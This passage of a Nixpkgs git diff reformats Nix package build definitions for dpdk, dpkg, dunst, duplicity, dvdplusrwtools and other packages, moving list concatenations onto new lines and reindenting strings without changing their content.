+  ++ lib.optional withPgSQL "--with-pgsql"
+  ++ lib.optional withSQLite "--with-sqlite";
 
   doCheck = !stdenv.hostPlatform.isDarwin;
 
diff --git a/pkgs/by-name/dp/dpdk/package.nix b/pkgs/by-name/dp/dpdk/package.nix
index 2bee92b61cf9..dcc70b1815ae 100644
--- a/pkgs/by-name/dp/dpdk/package.nix
+++ b/pkgs/by-name/dp/dpdk/package.nix
@@ -73,34 +73,33 @@ stdenv.mkDerivation rec {
     patchShebangs config/arm buildtools
   '';
 
-  mesonFlags =
-    [
-      "-Dtests=false"
-      "-Denable_docs=true"
-      "-Ddeveloper_mode=disabled"
-    ]
-    ++ [ (if shared then "-Ddefault_library=shared" else "-Ddefault_library=static") ]
-    ++ lib.optional (machine != null) "-Dmachine=${machine}"
-    ++ lib.optional (withExamples != [ ]) "-Dexamples=${builtins.concatStringsSep "," withExamples}";
+  mesonFlags = [
+    "-Dtests=false"
+    "-Denable_docs=true"
+    "-Ddeveloper_mode=disabled"
+  ]
+  ++ [ (if shared then "-Ddefault_library=shared" else "-Ddefault_library=static") ]
+  ++ lib.optional (machine != null) "-Dmachine=${machine}"
+  ++ lib.optional (withExamples != [ ]) "-Dexamples=${builtins.concatStringsSep "," withExamples}";
 
-  postInstall =
-    ''
-      # Remove Sphinx cache files. Not only are they not useful, but they also
-      # contain store paths causing spurious dependencies.
-      rm -rf $out/share/doc/dpdk/html/.doctrees
+  postInstall = ''
+    # Remove Sphinx cache files. Not only are they not useful, but they also
+    # contain store paths causing spurious dependencies.
+    rm -rf $out/share/doc/dpdk/html/.doctrees
 
-      wrapProgram $out/bin/dpdk-devbind.py \
-        --prefix PATH : "${lib.makeBinPath [ pciutils ]}"
-    ''
-    + lib.optionalString (withExamples != [ ]) ''
-      mkdir -p $examples/bin
-      find examples -type f -executable -exec install {} $examples/bin \;
-    '';
+    wrapProgram $out/bin/dpdk-devbind.py \
+      --prefix PATH : "${lib.makeBinPath [ pciutils ]}"
+  ''
+  + lib.optionalString (withExamples != [ ]) ''
+    mkdir -p $examples/bin
+    find examples -type f -executable -exec install {} $examples/bin \;
+  '';
 
   outputs = [
     "out"
     "doc"
-  ] ++ lib.optional (withExamples != [ ]) "examples";
+  ]
+  ++ lib.optional (withExamples != [ ]) "examples";
 
   meta = with lib; {
     description = "Set of libraries and drivers for fast packet processing";
diff --git a/pkgs/by-name/dp/dpkg/package.nix b/pkgs/by-name/dp/dpkg/package.nix
index b85ad1a50ba5..29fdfd215cab 100644
--- a/pkgs/by-name/dp/dpkg/package.nix
+++ b/pkgs/by-name/dp/dpkg/package.nix
@@ -33,7 +33,8 @@ stdenv.mkDerivation rec {
     "--with-admindir=/var/lib/dpkg"
     "PERL_LIBDIR=$(out)/${perl.libPrefix}"
     "TAR=${gnutar}/bin/tar"
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin "--disable-linker-optimisations";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin "--disable-linker-optimisations";
 
   enableParallelBuilding = true;
 
@@ -55,28 +56,27 @@ stdenv.mkDerivation rec {
       --replace-fail 'as_fn_error $? "cannot find a GNU tar program"' "#"
   '';
 
-  postPatch =
-    ''
-      patchShebangs --host .
+  postPatch = ''
+    patchShebangs --host .
 
-      # Dpkg commands sometimes calls out to shell commands
-      substituteInPlace lib/dpkg/dpkg.h \
-         --replace '"dpkg-deb"' \"$out/bin/dpkg-deb\" \
-         --replace '"dpkg-split"' \"$out/bin/dpkg-split\" \
-         --replace '"dpkg-query"' \"$out/bin/dpkg-query\" \
-         --replace '"dpkg-divert"' \"$out/bin/dpkg-divert\" \
-         --replace '"dpkg-statoverride"' \"$out/bin/dpkg-statoverride\" \
-         --replace '"dpkg-trigger"' \"$out/bin/dpkg-trigger\" \
-         --replace '"dpkg"' \"$out/bin/dpkg\" \
-         --replace '"debsig-verify"' \"$out/bin/debsig-verify\" \
-         --replace '"rm"' \"${coreutils}/bin/rm\" \
-         --replace '"cat"' \"${coreutils}/bin/cat\" \
-         --replace '"diff"' \"${diffutils}/bin/diff\"
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-      substituteInPlace src/main/help.c \
-         --replace '"ldconfig"' \"${glibc.bin}/bin/ldconfig\"
-    '';
+    # Dpkg commands sometimes calls out to shell commands
+    substituteInPlace lib/dpkg/dpkg.h \
+       --replace '"dpkg-deb"' \"$out/bin/dpkg-deb\" \
+       --replace '"dpkg-split"' \"$out/bin/dpkg-split\" \
+       --replace '"dpkg-query"' \"$out/bin/dpkg-query\" \
+       --replace '"dpkg-divert"' \"$out/bin/dpkg-divert\" \
+       --replace '"dpkg-statoverride"' \"$out/bin/dpkg-statoverride\" \
+       --replace '"dpkg-trigger"' \"$out/bin/dpkg-trigger\" \
+       --replace '"dpkg"' \"$out/bin/dpkg\" \
+       --replace '"debsig-verify"' \"$out/bin/debsig-verify\" \
+       --replace '"rm"' \"${coreutils}/bin/rm\" \
+       --replace '"cat"' \"${coreutils}/bin/cat\" \
+       --replace '"diff"' \"${diffutils}/bin/diff\"
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+    substituteInPlace src/main/help.c \
+       --replace '"ldconfig"' \"${glibc.bin}/bin/ldconfig\"
+  '';
 
   buildInputs = [
     perl
diff --git a/pkgs/by-name/dp/dprint/package.nix b/pkgs/by-name/dp/dprint/package.nix
index bc024552800a..393aababe315 100644
--- a/pkgs/by-name/dp/dprint/package.nix
+++ b/pkgs/by-name/dp/dprint/package.nix
@@ -54,17 +54,16 @@ rustPlatform.buildRustPackage (finalAttrs: {
     "--skip=utils::url::test::unsafe_ignore_cert"
   ];
 
-  postInstall =
-    ''
-      rm "$out/bin/test-process-plugin"
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      export DPRINT_CACHE_DIR="$(mktemp -d)"
-      installShellCompletion --cmd dprint \
-        --bash <($out/bin/dprint completions bash) \
-        --zsh <($out/bin/dprint completions zsh) \
-        --fish <($out/bin/dprint completions fish)
-    '';
+  postInstall = ''
+    rm "$out/bin/test-process-plugin"
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    export DPRINT_CACHE_DIR="$(mktemp -d)"
+    installShellCompletion --cmd dprint \
+      --bash <($out/bin/dprint completions bash) \
+      --zsh <($out/bin/dprint completions zsh) \
+      --fish <($out/bin/dprint completions fish)
+  '';
 
   passthru = {
     tests.version = testers.testVersion {
diff --git a/pkgs/by-name/dr/drawterm/package.nix b/pkgs/by-name/dr/drawterm/package.nix
index cce9fef8ec3f..36faedb2d177 100644
--- a/pkgs/by-name/dr/drawterm/package.nix
+++ b/pkgs/by-name/dr/drawterm/package.nix
@@ -34,15 +34,14 @@ stdenv.mkDerivation {
 
   enableParallelBuilding = true;
   strictDeps = true;
-  nativeBuildInputs =
-    [
-      installShellFiles
-      makeWrapper
-    ]
-    ++ lib.optionals withWayland [
-      pkg-config
-      wayland-scanner
-    ];
+  nativeBuildInputs = [
+    installShellFiles
+    makeWrapper
+  ]
+  ++ lib.optionals withWayland [
+    pkg-config
+    wayland-scanner
+  ];
 
   buildInputs =
     lib.optionals withWayland [
@@ -66,25 +65,24 @@ stdenv.mkDerivation {
       "CC=clang"
     ];
 
-  installPhase =
-    ''
-      installManPage drawterm.1
-    ''
-    + lib.optionalString withWayland ''
-      install -Dm755 -t $out/bin/ drawterm
-    ''
-    + lib.optionalString (!(withWayland || stdenv.hostPlatform.isDarwin)) ''
-      # wrapping the oss output with pulse seems to be the easiest
-      mv drawterm drawterm.bin
-      install -Dm755 -t $out/bin/ drawterm.bin
-      makeWrapper ${pulseaudio}/bin/padsp $out/bin/drawterm --add-flags $out/bin/drawterm.bin
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir -p $out/{Applications,bin}
-      mv gui-cocoa/drawterm.app $out/Applications/
-      mv drawterm $out/Applications/drawterm.app/
-      ln -s $out/Applications/drawterm.app/drawterm $out/bin/
-    '';
+  installPhase = ''
+    installManPage drawterm.1
+  ''
+  + lib.optionalString withWayland ''
+    install -Dm755 -t $out/bin/ drawterm
+  ''
+  + lib.optionalString (!(withWayland || stdenv.hostPlatform.isDarwin)) ''
+    # wrapping the oss output with pulse seems to be the easiest
+    mv drawterm drawterm.bin
+    install -Dm755 -t $out/bin/ drawterm.bin
+    makeWrapper ${pulseaudio}/bin/padsp $out/bin/drawterm --add-flags $out/bin/drawterm.bin
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir -p $out/{Applications,bin}
+    mv gui-cocoa/drawterm.app $out/Applications/
+    mv drawterm $out/Applications/drawterm.app/
+    ln -s $out/Applications/drawterm.app/drawterm $out/bin/
+  '';
 
   passthru = {
     updateScript = unstableGitUpdater { shallowClone = false; };
diff --git a/pkgs/by-name/dr/drogon/package.nix b/pkgs/by-name/dr/drogon/package.nix
index ed4e019949be..f7ad8fa3da4e 100644
--- a/pkgs/by-name/dr/drogon/package.nix
+++ b/pkgs/by-name/dr/drogon/package.nix
@@ -41,23 +41,22 @@ stdenv.mkDerivation (finalAttrs: {
     (lib.cmakeBool "BUILD_EXAMPLES" false)
   ];
 
-  propagatedBuildInputs =
-    [
-      jsoncpp
-      libossp_uuid
-      zlib
-      openssl
-      brotli
-      c-ares
-    ]
-    ++ lib.optional sqliteSupport sqlite
-    ++ lib.optional postgresSupport libpq
-    ++ lib.optional redisSupport hiredis
-    # drogon uses mariadb for mysql (see https://github.com/drogonframework/drogon/wiki/ENG-02-Installation#Library-Dependencies)
-    ++ lib.optionals mysqlSupport [
-      libmysqlclient
-      mariadb
-    ];
+  propagatedBuildInputs = [
+    jsoncpp
+    libossp_uuid
+    zlib
+    openssl
+    brotli
+    c-ares
+  ]
+  ++ lib.optional sqliteSupport sqlite
+  ++ lib.optional postgresSupport libpq
+  ++ lib.optional redisSupport hiredis
+  # drogon uses mariadb for mysql (see https://github.com/drogonframework/drogon/wiki/ENG-02-Installation#Library-Dependencies)
+  ++ lib.optionals mysqlSupport [
+    libmysqlclient
+    mariadb
+  ];
 
   patches = [
     # this part of the test would normally fail because it attempts to configure a CMake project that uses find_package on itself
diff --git a/pkgs/by-name/ds/dsd/package.nix b/pkgs/by-name/ds/dsd/package.nix
index d45d20b9259f..eb5aaa2cc0bb 100644
--- a/pkgs/by-name/ds/dsd/package.nix
+++ b/pkgs/by-name/ds/dsd/package.nix
@@ -28,7 +28,8 @@ stdenv.mkDerivation {
     mbelib
     libsndfile
     itpp
-  ] ++ lib.optionals portaudioSupport [ portaudio ];
+  ]
+  ++ lib.optionals portaudioSupport [ portaudio ];
 
   doCheck = true;
 
diff --git a/pkgs/by-name/ds/dspam/package.nix b/pkgs/by-name/ds/dspam/package.nix
index 2c7dd35ef952..2458bde95bd7 100644
--- a/pkgs/by-name/ds/dspam/package.nix
+++ b/pkgs/by-name/ds/dspam/package.nix
@@ -50,15 +50,16 @@ stdenv.mkDerivation rec {
     ./mariadb.patch
   ];
 
-  buildInputs =
-    [ perlPackages.perl ]
-    ++ lib.optionals withMySQL [
-      zlib
-      mariadb-connector-c.out
-    ]
-    ++ lib.optional withPgSQL libpq
-    ++ lib.optional withSQLite sqlite
-    ++ lib.optional withDB db;
+  buildInputs = [
+    perlPackages.perl
+  ]
+  ++ lib.optionals withMySQL [
+    zlib
+    mariadb-connector-c.out
+  ]
+  ++ lib.optional withPgSQL libpq
+  ++ lib.optional withSQLite sqlite
+  ++ lib.optional withDB db;
   nativeBuildInputs = [
     libpq.pg_config
     makeWrapper
@@ -68,29 +69,28 @@ stdenv.mkDerivation rec {
     sed -i 's/atoi(m) >= 5/1/g' configure m4/mysql_drv.m4
   '';
 
-  configureFlags =
-    [
-      "--with-storage-driver=${drivers}"
-      "--sysconfdir=/etc/dspam"
-      "--localstatedir=/var"
-      "--with-dspam-home=/var/lib/dspam"
-      "--with-logdir=/var/log/dspam"
-      "--with-logfile=/var/log/dspam/dspam.log"
+  configureFlags = [
+    "--with-storage-driver=${drivers}"
+    "--sysconfdir=/etc/dspam"
+    "--localstatedir=/var"
+    "--with-dspam-home=/var/lib/dspam"
+    "--with-logdir=/var/log/dspam"
+    "--with-logfile=/var/log/dspam/dspam.log"
 
-      "--enable-daemon"
-      "--enable-clamav"
-      "--enable-syslog"
-      "--enable-large-scale"
-      "--enable-virtual-users"
-      "--enable-split-configuration"
-      "--enable-preferences-extension"
-      "--enable-long-usernames"
-      "--enable-external-lookup"
-    ]
-    ++ lib.optionals withMySQL [
-      "--with-mysql-includes=${mariadb-connector-c.dev}/include/mysql"
-      "--with-mysql-libraries=${mariadb-connector-c.out}/lib/mysql"
-    ];
+    "--enable-daemon"
+    "--enable-clamav"
+    "--enable-syslog"
+    "--enable-large-scale"
+    "--enable-virtual-users"
+    "--enable-split-configuration"
+    "--enable-preferences-extension"
+    "--enable-long-usernames"
+    "--enable-external-lookup"
+  ]
+  ++ lib.optionals withMySQL [
+    "--with-mysql-includes=${mariadb-connector-c.dev}/include/mysql"
+    "--with-mysql-libraries=${mariadb-connector-c.out}/lib/mysql"
+  ];
 
   # Workaround build failure on -fno-common toolchains like upstream
   # gcc-10. Otherwise build fails as:
diff --git a/pkgs/by-name/dt/dtc/package.nix b/pkgs/by-name/dt/dtc/package.nix
index 978c7f58544c..527ffe873bb2 100644
--- a/pkgs/by-name/dt/dtc/package.nix
+++ b/pkgs/by-name/dt/dtc/package.nix
@@ -42,20 +42,19 @@ stdenv.mkDerivation (finalAttrs: {
 
   env.SETUPTOOLS_SCM_PRETEND_VERSION = finalAttrs.version;
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      flex
-      bison
-      pkg-config
-      which
-    ]
-    ++ lib.optionals pythonSupport [
-      python
-      python.pkgs.setuptools-scm
-      swig
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    flex
+    bison
+    pkg-config
+    which
+  ]
+  ++ lib.optionals pythonSupport [
+    python
+    python.pkgs.setuptools-scm
+    swig
+  ];
 
   buildInputs = [ libyaml ];
 
diff --git a/pkgs/by-name/du/duc/package.nix b/pkgs/by-name/du/duc/package.nix
index ad33cea6cae2..7da393dae979 100644
--- a/pkgs/by-name/du/duc/package.nix
+++ b/pkgs/by-name/du/duc/package.nix
@@ -28,15 +28,14 @@ stdenv.mkDerivation rec {
     autoreconfHook
     pkg-config
   ];
-  buildInputs =
-    [
-      tokyocabinet
-      ncurses
-    ]
-    ++ lib.optionals enableCairo [
-      cairo
-      pango
-    ];
+  buildInputs = [
+    tokyocabinet
+    ncurses
+  ]
+  ++ lib.optionals enableCairo [
+    cairo
+    pango
+  ];
 
   configureFlags = lib.optionals (!enableCairo) [
     "--disable-x11"
diff --git a/pkgs/by-name/du/duckdb/package.nix b/pkgs/by-name/du/duckdb/package.nix
index c4481a8ece8b..9c267cf93cae 100644
--- a/pkgs/by-name/du/duckdb/package.nix
+++ b/pkgs/by-name/du/duckdb/package.nix
@@ -40,20 +40,22 @@ stdenv.mkDerivation (finalAttrs: {
     ninja
     python3
   ];
-  buildInputs =
-    [ openssl ] ++ lib.optionals withJdbc [ openjdk11 ] ++ lib.optionals withOdbc [ unixODBC ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals withJdbc [ openjdk11 ]
+  ++ lib.optionals withOdbc [ unixODBC ];
 
-  cmakeFlags =
-    [
-      "-DDUCKDB_EXTENSION_CONFIGS=${finalAttrs.src}/.github/config/in_tree_extensions.cmake"
-      "-DBUILD_ODBC_DRIVER=${enableFeature withOdbc}"
-      "-DJDBC_DRIVER=${enableFeature withJdbc}"
-      "-DOVERRIDE_GIT_DESCRIBE=v${finalAttrs.version}-0-g${finalAttrs.rev}"
-    ]
-    ++ lib.optionals finalAttrs.doInstallCheck [
-      # development settings
-      "-DBUILD_UNITTESTS=ON"
-    ];
+  cmakeFlags = [
+    "-DDUCKDB_EXTENSION_CONFIGS=${finalAttrs.src}/.github/config/in_tree_extensions.cmake"
+    "-DBUILD_ODBC_DRIVER=${enableFeature withOdbc}"
+    "-DJDBC_DRIVER=${enableFeature withJdbc}"
+    "-DOVERRIDE_GIT_DESCRIBE=v${finalAttrs.version}-0-g${finalAttrs.rev}"
+  ]
+  ++ lib.optionals finalAttrs.doInstallCheck [
+    # development settings
+    "-DBUILD_UNITTESTS=ON"
+  ];
 
   doInstallCheck = true;
 
diff --git a/pkgs/by-name/du/duckscript/package.nix b/pkgs/by-name/du/duckscript/package.nix
index d3866bdfaac4..f4f136c2fd53 100644
--- a/pkgs/by-name/du/duckscript/package.nix
+++ b/pkgs/by-name/du/duckscript/package.nix
@@ -19,11 +19,12 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   useFetchCargoVendor = true;
   cargoHash = "sha256-ft6EUajAj+Zw3cEhdajwwHAaMaUf+/vtTuUYni8E+o0=";
diff --git a/pkgs/by-name/du/duckstation/package.nix b/pkgs/by-name/du/duckstation/package.nix
index 7f5705a5bd7c..214f9c75251e 100644
--- a/pkgs/by-name/du/duckstation/package.nix
+++ b/pkgs/by-name/du/duckstation/package.nix
@@ -70,7 +70,8 @@ llvmPackages.stdenv.mkDerivation (finalAttrs: {
     sources.soundtouch-patched
     sources.spirv-cross-patched
     wayland
-  ] ++ cubeb.passthru.backendLibs;
+  ]
+  ++ cubeb.passthru.backendLibs;
 
   cmakeFlags = [
     (lib.cmakeBool "BUILD_TESTS" true)
diff --git a/pkgs/by-name/du/duktape/package.nix b/pkgs/by-name/du/duktape/package.nix
index c7443c99ce15..ed51312da482 100644
--- a/pkgs/by-name/du/duktape/package.nix
+++ b/pkgs/by-name/du/duktape/package.nix
@@ -19,27 +19,26 @@ stdenv.mkDerivation (finalAttrs: {
 
   nativeBuildInputs = [
     validatePkgConfig
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ fixDarwinDylibNames ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ fixDarwinDylibNames ];
 
-  buildPhase =
-    ''
-      make -f Makefile.cmdline
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isStatic) ''
-      make INSTALL_PREFIX="$out" -f Makefile.sharedlibrary
-    '';
+  buildPhase = ''
+    make -f Makefile.cmdline
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isStatic) ''
+    make INSTALL_PREFIX="$out" -f Makefile.sharedlibrary
+  '';
 
-  installPhase =
-    ''
-      install -d $out/bin
-      install -m755 duk $out/bin/
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isStatic) ''
-      install -d $out/lib/pkgconfig
-      install -d $out/include
+  installPhase = ''
+    install -d $out/bin
+    install -m755 duk $out/bin/
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isStatic) ''
+    install -d $out/lib/pkgconfig
+    install -d $out/include
 
-      make INSTALL_PREFIX="$out" -f Makefile.sharedlibrary install
-    '';
+    make INSTALL_PREFIX="$out" -f Makefile.sharedlibrary install
+  '';
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/du/dump1090-fa/package.nix b/pkgs/by-name/du/dump1090-fa/package.nix
index f3a946a9a034..ed01febb8469 100644
--- a/pkgs/by-name/du/dump1090-fa/package.nix
+++ b/pkgs/by-name/du/dump1090-fa/package.nix
@@ -33,7 +33,8 @@ stdenv.mkDerivation (finalAttrs: {
     ncurses
     rtl-sdr
     soapysdr-with-plugins
-  ] ++ lib.optional stdenv.hostPlatform.isLinux limesuite;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux limesuite;
 
   env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.cc.isClang "-Wno-implicit-function-declaration -Wno-int-conversion -Wno-unknown-warning-option";
 
diff --git a/pkgs/by-name/du/dumpvdl2/package.nix b/pkgs/by-name/du/dumpvdl2/package.nix
index 06af53f19177..fd9a276a845c 100644
--- a/pkgs/by-name/du/dumpvdl2/package.nix
+++ b/pkgs/by-name/du/dumpvdl2/package.nix
@@ -32,7 +32,8 @@ stdenv.mkDerivation (finalAttrs: {
     sqlite
     zeromq
     libacars
-  ] ++ lib.optionals sdrplaySupport [ sdrplay ];
+  ]
+  ++ lib.optionals sdrplaySupport [ sdrplay ];
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/by-name/du/dune3d/package.nix b/pkgs/by-name/du/dune3d/package.nix
index dfe2bd16293a..5b59f7197b63 100644
--- a/pkgs/by-name/du/dune3d/package.nix
+++ b/pkgs/by-name/du/dune3d/package.nix
@@ -43,7 +43,8 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
     wrapGAppsHook3
     libxml2 # for xmllints
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
 
   buildInputs = [
     cmake
diff --git a/pkgs/by-name/du/dunst/package.nix b/pkgs/by-name/du/dunst/package.nix
index ad4823d534a3..7281a4cae73d 100644
--- a/pkgs/by-name/du/dunst/package.nix
+++ b/pkgs/by-name/du/dunst/package.nix
@@ -48,43 +48,41 @@ stdenv.mkDerivation (finalAttrs: {
     makeWrapper
   ];
 
-  buildInputs =
-    [
-      cairo
-      dbus
-      gdk-pixbuf
-      glib
-      libnotify
-      pango
-      librsvg
-    ]
-    ++ lib.optionals withX11 [
-      libX11
-      libXScrnSaver
-      libXinerama
-      xorgproto
-      libXrandr
-    ]
-    ++ lib.optionals withWayland [
-      wayland
-      wayland-protocols
-    ];
+  buildInputs = [
+    cairo
+    dbus
+    gdk-pixbuf
+    glib
+    libnotify
+    pango
+    librsvg
+  ]
+  ++ lib.optionals withX11 [
+    libX11
+    libXScrnSaver
+    libXinerama
+    xorgproto
+    libXrandr
+  ]
+  ++ lib.optionals withWayland [
+    wayland
+    wayland-protocols
+  ];
 
   outputs = [
     "out"
     "man"
   ];
 
-  makeFlags =
-    [
-      "PREFIX=$(out)"
-      "VERSION=$(version)"
-      "SYSCONFDIR=$(out)/etc"
-      "SERVICEDIR_DBUS=$(out)/share/dbus-1/services"
-      "SERVICEDIR_SYSTEMD=$(out)/lib/systemd/user"
-    ]
-    ++ lib.optional (!withX11) "X11=0"
-    ++ lib.optional (!withWayland) "WAYLAND=0";
+  makeFlags = [
+    "PREFIX=$(out)"
+    "VERSION=$(version)"
+    "SYSCONFDIR=$(out)/etc"
+    "SERVICEDIR_DBUS=$(out)/share/dbus-1/services"
+    "SERVICEDIR_SYSTEMD=$(out)/lib/systemd/user"
+  ]
+  ++ lib.optional (!withX11) "X11=0"
+  ++ lib.optional (!withWayland) "WAYLAND=0";
 
   postInstall = ''
     wrapProgram $out/bin/dunst \
diff --git a/pkgs/by-name/du/duplicity/package.nix b/pkgs/by-name/du/duplicity/package.nix
index 6076c780e054..c17170b20433 100644
--- a/pkgs/by-name/du/duplicity/package.nix
+++ b/pkgs/by-name/du/duplicity/package.nix
@@ -35,21 +35,20 @@ let
       ./keep-pythonpath-in-testing.patch
     ];
 
-    postPatch =
-      ''
-        patchShebangs duplicity/__main__.py
+    postPatch = ''
+      patchShebangs duplicity/__main__.py
 
-        # don't try to use gtar on darwin/bsd
-        substituteInPlace testing/functional/test_restart.py \
-          --replace-fail 'tarcmd = "gtar"' 'tarcmd = "tar"'
-      ''
-      + lib.optionalString stdenv.hostPlatform.isDarwin ''
-        # tests try to access these files in the sandbox, but can't deal with EPERM
-        substituteInPlace testing/unit/test_globmatch.py \
-          --replace-fail /var/log /test/log
-        substituteInPlace testing/unit/test_selection.py \
-          --replace-fail /usr/bin /dev
-      '';
+      # don't try to use gtar on darwin/bsd
+      substituteInPlace testing/functional/test_restart.py \
+        --replace-fail 'tarcmd = "gtar"' 'tarcmd = "tar"'
+    ''
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      # tests try to access these files in the sandbox, but can't deal with EPERM
+      substituteInPlace testing/unit/test_globmatch.py \
+        --replace-fail /var/log /test/log
+      substituteInPlace testing/unit/test_selection.py \
+        --replace-fail /usr/bin /dev
+    '';
 
     disabledTests = [
       # fails on some unsupported backends, e.g.
@@ -96,26 +95,25 @@ let
       ]
       ++ paramiko.optional-dependencies.invoke;
 
-    nativeCheckInputs =
-      [
-        gnupg # Add 'gpg' to PATH.
-        gnutar # Add 'tar' to PATH.
-        librsync # Add 'rdiff' to PATH.
-        par2cmdline # Add 'par2' to PATH.
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isLinux [
-        util-linux # Add 'setsid' to PATH.
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isDarwin [
-        getconf
-      ]
-      ++ (with python3.pkgs; [
-        lockfile
-        mock
-        pexpect
-        pytestCheckHook
-        fasteners
-      ]);
+    nativeCheckInputs = [
+      gnupg # Add 'gpg' to PATH.
+      gnutar # Add 'tar' to PATH.
+      librsync # Add 'rdiff' to PATH.
+      par2cmdline # Add 'par2' to PATH.
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
+      util-linux # Add 'setsid' to PATH.
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [
+      getconf
+    ]
+    ++ (with python3.pkgs; [
+      lockfile
+      mock
+      pexpect
+      pytestCheckHook
+      fasteners
+    ]);
 
     # Prevent double wrapping, let the Python wrapper use the args in preFixup.
     dontWrapGApps = true;
diff --git a/pkgs/by-name/dv/dvdisaster/package.nix b/pkgs/by-name/dv/dvdisaster/package.nix
index d654c0fb377c..5511faaee11b 100644
--- a/pkgs/by-name/dv/dvdisaster/package.nix
+++ b/pkgs/by-name/dv/dvdisaster/package.nix
@@ -48,7 +48,8 @@ stdenv.mkDerivation rec {
     "--docdir=share/doc"
     "--with-nls=yes"
     "--with-embedded-src-path=no"
-  ] ++ lib.optional (stdenv.hostPlatform.isx86_64) "--with-sse2=yes";
+  ]
+  ++ lib.optional (stdenv.hostPlatform.isx86_64) "--with-sse2=yes";
 
   # fatal error: inlined-icons.h: No such file or directory
   enableParallelBuilding = false;
diff --git a/pkgs/by-name/dv/dvdplusrwtools/package.nix b/pkgs/by-name/dv/dvdplusrwtools/package.nix
index 49bb2b6e1948..d61702cc13d6 100644
--- a/pkgs/by-name/dv/dvdplusrwtools/package.nix
+++ b/pkgs/by-name/dv/dvdplusrwtools/package.nix
@@ -16,60 +16,61 @@ stdenv.mkDerivation rec {
     sha256 = "1jkjvvnjcyxpql97xjjx0kwvy70kxpiznr2zpjy2hhci5s10zmpq";
   };
 
-  patches =
-    [ ./darwin.patch ]
-    # Patches from Gentoo
-    ++
-      builtins.map
-        (
-          { pfile, sha256 }:
-          fetchpatch {
-            url = "https://gitweb.gentoo.org/repo/gentoo.git/plain/app-cdr/dvd+rw-tools/files/${pfile}?id=b510df361241e8f16314b1f14642305f0111dac6";
-            inherit sha256;
-          }
-        )
-        [
-          {
-            pfile = "dvd+rw-tools-7.0-dvddl-r1.patch";
-            sha256 = "12l33jq6405shfwdycrj52qmd07h5bsp1vjaddknfri456azjny5";
-          }
-          {
-            pfile = "dvd+rw-tools-7.0-glibc2.6.90.patch";
-            sha256 = "1fb3gap2in782pa4164h1w0ha8ggsq3inissa1k0zn2p2r3rb5ln";
-          }
-          {
-            pfile = "dvd+rw-tools-7.0-reload.patch";
-            sha256 = "12v2y2y6ci5hh6lbmsk97dzgznrm4bxwhc81mq684ix0qspb9mq4";
-          }
-          {
-            pfile = "dvd+rw-tools-7.0-sysmacros.patch";
-            sha256 = "1rkb26cyhfxklkmna3l9b4797f6gzlxyqqin44jwnq3jmwfrs6v0";
-          }
-          {
-            pfile = "dvd+rw-tools-7.0-wctomb-r1.patch";
-            sha256 = "1xg770l0b4bjn30y7nqg619v4m5ickcn2n8hv9k2an6r191daq58";
-          }
-          {
-            pfile = "dvd+rw-tools-7.0-wexit.patch";
-            sha256 = "0sqzlkm19fmjx4lzxkxwn2ymrj9fq0zk0jkys3xm6xvd2ibb6kxl";
-          }
-          {
-            pfile = "dvd+rw-tools-7.1-bluray_pow_freespace.patch";
-            sha256 = "0iscz8fs5002ymk6wl2fz4x06b7bdnc57rfz8kbv3216acqi5rv3";
-          }
-          {
-            pfile = "dvd+rw-tools-7.1-bluray_srm+pow.patch";
-            sha256 = "0sy40m12w987i6g0cyxv8cfmab4vp7cd222lv05apknfi2y7smmw";
-          }
-          {
-            pfile = "dvd+rw-tools-7.1-lastshort.patch";
-            sha256 = "01wspv70sil20khkg5kj086b1x8rrig4yhcq9s88bdjd42nv0vpx";
-          }
-          {
-            pfile = "dvd+rw-tools-7.1-noevent.patch";
-            sha256 = "1kbmxpg15wci33f2h6pxxvf3qm0kpyzx9wj5a3l67sk34hvza3z6";
-          }
-        ];
+  patches = [
+    ./darwin.patch
+  ]
+  # Patches from Gentoo
+  ++
+    builtins.map
+      (
+        { pfile, sha256 }:
+        fetchpatch {
+          url = "https://gitweb.gentoo.org/repo/gentoo.git/plain/app-cdr/dvd+rw-tools/files/${pfile}?id=b510df361241e8f16314b1f14642305f0111dac6";
+          inherit sha256;
+        }
+      )
+      [
+        {
+          pfile = "dvd+rw-tools-7.0-dvddl-r1.patch";
+          sha256 = "12l33jq6405shfwdycrj52qmd07h5bsp1vjaddknfri456azjny5";
+        }
+        {
+          pfile = "dvd+rw-tools-7.0-glibc2.6.90.patch";
+          sha256 = "1fb3gap2in782pa4164h1w0ha8ggsq3inissa1k0zn2p2r3rb5ln";
+        }
+        {
+          pfile = "dvd+rw-tools-7.0-reload.patch";
